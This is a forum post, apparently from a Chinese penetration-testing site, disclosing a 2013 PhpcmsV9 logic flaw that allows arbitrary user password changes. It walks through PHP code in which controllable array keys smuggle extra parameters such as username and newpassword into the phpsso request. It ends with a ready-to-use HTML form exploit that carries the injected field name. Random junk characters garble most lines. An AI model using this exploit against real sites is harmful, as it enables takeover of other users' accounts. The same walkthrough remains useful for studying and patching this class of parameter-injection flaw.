中国网络渗透测试联盟

标题: PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发 [打印本页]

作者: admin    时间: 2013-2-23 14:46
标题: PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发
提到的通行证的代码:
/ R! K6 H! b, U" m5 B2 l! b. W) r& O- u3 \: L) F1 D' w' U

( H0 i+ b* R* {) y4 Hparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
  h5 e# k" G8 m/ R; l+ p8 v# D) ]
% h9 ]8 [; F1 n$ {% U* b' c2 d在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
" r' _: i2 F. m6 ?% B0 o) h
- J1 N; c$ v! k# w6 y8 q我把它留给了你们。$ a2 s5 N& M) `1 f+ ^  p5 R
不知道你们发现了它没有。
# H9 i8 K* c) T0 a: R# m' k8 z( V7 [* m; r4 S# }' b
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。5 c0 {6 d5 [$ U

. m! j# y3 k6 h9 U$ T* Y1 J所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
5 J2 V- _# w2 ^+ e& Q
$ N* a. ?5 ~1 k也就是( R8 h7 A: N  k3 |5 e6 y3 ]
+ ~" S, \& d! @! P1 I5 W* s( V
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。" d; Z8 L8 e* V" X. |: B

- j  P' d% }; x$ c! E! \8 A要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
8 s+ P, ~. Z! O, d$ I1 ?* `
! w) x. u6 f! w
& a3 }- @+ h3 `其实我们有这样的机会,看看代码,如下:
3 f. G* W/ J. Q% B% ?! X, S; y6 C7 H; _  A, y4 r. z
3 _+ w1 m& x, X- u- R
public function auth_data($data) {) X! J9 e0 \' J* D; T) r/ R( I
                $s = $sep = '';
/ P  s9 C( K7 _% C1 T                foreach($data as $k => $v) {7 u5 B- o& f$ ~6 w& x$ D0 G' z* a
                        if(is_array($v)) {0 \! d9 H! M" O. q! x
                                $s2 = $sep2 = '';
. }2 B3 }4 T/ }# [                                foreach($v as $k2 => $v2) {6 M9 r- d1 P* e4 Y& O8 L
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
4 {; f& `! A5 S' f' ~                                        $sep2 = '&';2 \9 ^& C/ K" u6 A
                                }
1 }/ U( s* O2 o" `. A& D                                $s .= $sep.$s2;
7 T! U; d# @+ j7 ]                        } else {! Z" U& x# q; @( ^, g* [3 Y
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);6 s% P2 U! O: Q, p6 _
                        }; Z: f  O' A5 z  T, _! F
                        $sep = '&';
6 b1 N% l/ V3 X                }
1 u7 c+ p" t$ m1 R6 u5 O; J2 H3 N
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
& D+ Z8 _; e3 Z                return $auth_s;
4 W1 P/ a0 ~, t& d/ P        }
  k7 v1 Z/ \" \9 q/ y
' @4 c4 B- F5 \& m可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
& E# N2 ]2 m$ z: I: `, F- `5 v4 l
* S- P9 q- d% S举个例子
4 I) q4 e. ]% B* F
8 r1 d2 M( `) v0 j7 _$a[aaa=a&bbb] = 'a';
, k% w  g7 \+ ~) U/ {0 O. R7 U2 n& r$ A" F2 Q! X
会变成aaa=a&bbb=a8 Q% X7 ^8 a6 m' y# R

; {* d& Q6 s. @9 Y明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。+ K. a8 c4 z; t7 `1 O% J

4 A) {3 K7 `2 d这个时候,我们可以再去看一个函数。
5 w4 ?$ B/ d$ N2 h) g6 v# ?( S2 A
( o9 N! i+ B9 G就在这个文件内:; @8 E; d' y  a' S

5 Z) l; ]) g# T; F* @7 Z; Z" X3 O  B8 ]8 L& y) k1 H6 D
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
: i) {$ i! X3 m* |4 \9 Z& o+ l5 \                if($email && !$this->_is_email($email)) {/ y$ X& i- p3 r+ l+ P
                        return -4;
& b! T" P3 u6 F                }
4 Y" N1 _  b2 G; [- p( Y                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
( P/ Q# o9 u, Y: O) ?0 m! M        }! r) u4 ^5 }  |! S* u6 S4 U

5 ^- ]6 B4 U: \这是向通行证发了这样一个请求。
) @0 |: l' ?3 D5 N: S2 X! x. t8 n2 q# I: ~: ]. g  E
我们再跟到通信证代码里去看看,就会有所发现。7 ^8 _1 H2 M7 h. L2 o

& t- Y& r& Z7 {. d# ?! f. C
& b* y$ J* b6 u# H; u( ipublic function edit() {
0 [4 C* m2 L1 a//能省就省,太长了不是吗?
) X6 Z; `2 E2 r! Z& C! A3 {: {' G; V) l% D) j
if($this->username) {& F# J4 c& U* u- p, D2 Q2 g% X
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
% C* `5 g% O' k: ~' p' @                                $res = $this->db->update($data, array('username'=>$this->username));
% w+ ]* y: R5 f' |1 H# Q* g- o/ M( f4 S                        } else {
# Q2 L# {+ O; j                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);/ @% z* p6 R4 P! Q# C6 B. v
                                $res = $this->db->update($data, array('uid'=>$this->uid));
+ o0 S8 R# D" }5 N5 J                        }1 H3 [+ W  B3 z+ y' ~! g

0 ?' q& `1 E& }2 H6 N) B* b好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:* M0 }6 K9 C, A% M

: _9 R# `# z* X: x" X/ cpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
. e# Y( j+ S! I) l* ^. P
( ?7 b$ x* L* x7 T. S4 n很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
: U% B  [1 U% q% |
$ R& M; Z4 E; O# N6 k6 n我当然找到了:# e& k, f1 o& \) [$ F+ j
phpcms9/phpcms/modules/member/index.php. m  I! P0 e3 L2 u) t6 q& O+ A' i) g
5 f: Y0 [. L) s) N/ D& O7 f
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
3 O+ t- r4 r* e1 I1 T' K% |0 i
  q% u1 \3 h4 ~% q1 Q" c, O然后就没有然后了。
4 K) W5 \  Q4 i% h+ I% ~: |2 i% ~' _( Q5 P
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">( @( V* y- l" T
                                <table width="100%" cellspacing="0" class="table_form">! t1 H: M) p- e* r0 r
                                        <tr>
  S  M1 Y( C. A. q$ P                                                <th width="80">邮箱:</th>        
+ N1 i. q0 w+ F                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
7 Q) \/ g) w, [4 V- i" n, A                                        </tr>
9 G5 X% H$ X- B  U9 I                                        <tr>, X8 f# @2 A/ C- c% _
                                                <th width="80">原密码:</th>        % b2 j/ m! ^7 e5 P0 B; A
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>; t* s; s0 R1 j4 b
                                        </tr>5 w# Q5 V0 I" W; F7 n3 k
                                        <tr>% c0 y: J! g) `: U
                                                <th>新密码:</th>
$ z9 P9 U) v! ]9 f                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
& R& h7 @8 S# Y8 a                                        </tr>4 s! |4 b) T! V
                                        <th></th>
$ V3 e8 E7 Q" O2 ~2 \                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>1 z1 y3 ~- S  \- h
                                        </tr>
2 M/ o0 L" S' x' ^1 M, z/ z# }# j% x                                </table>
& e# r( J0 {3 p& G
( z% J6 f" \, f1 }; V* Q( u                               
+ I9 p6 L- U4 w/ _8 Q0 i                        </form>
1 z4 O4 K( i4 r6 U, G/ m




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2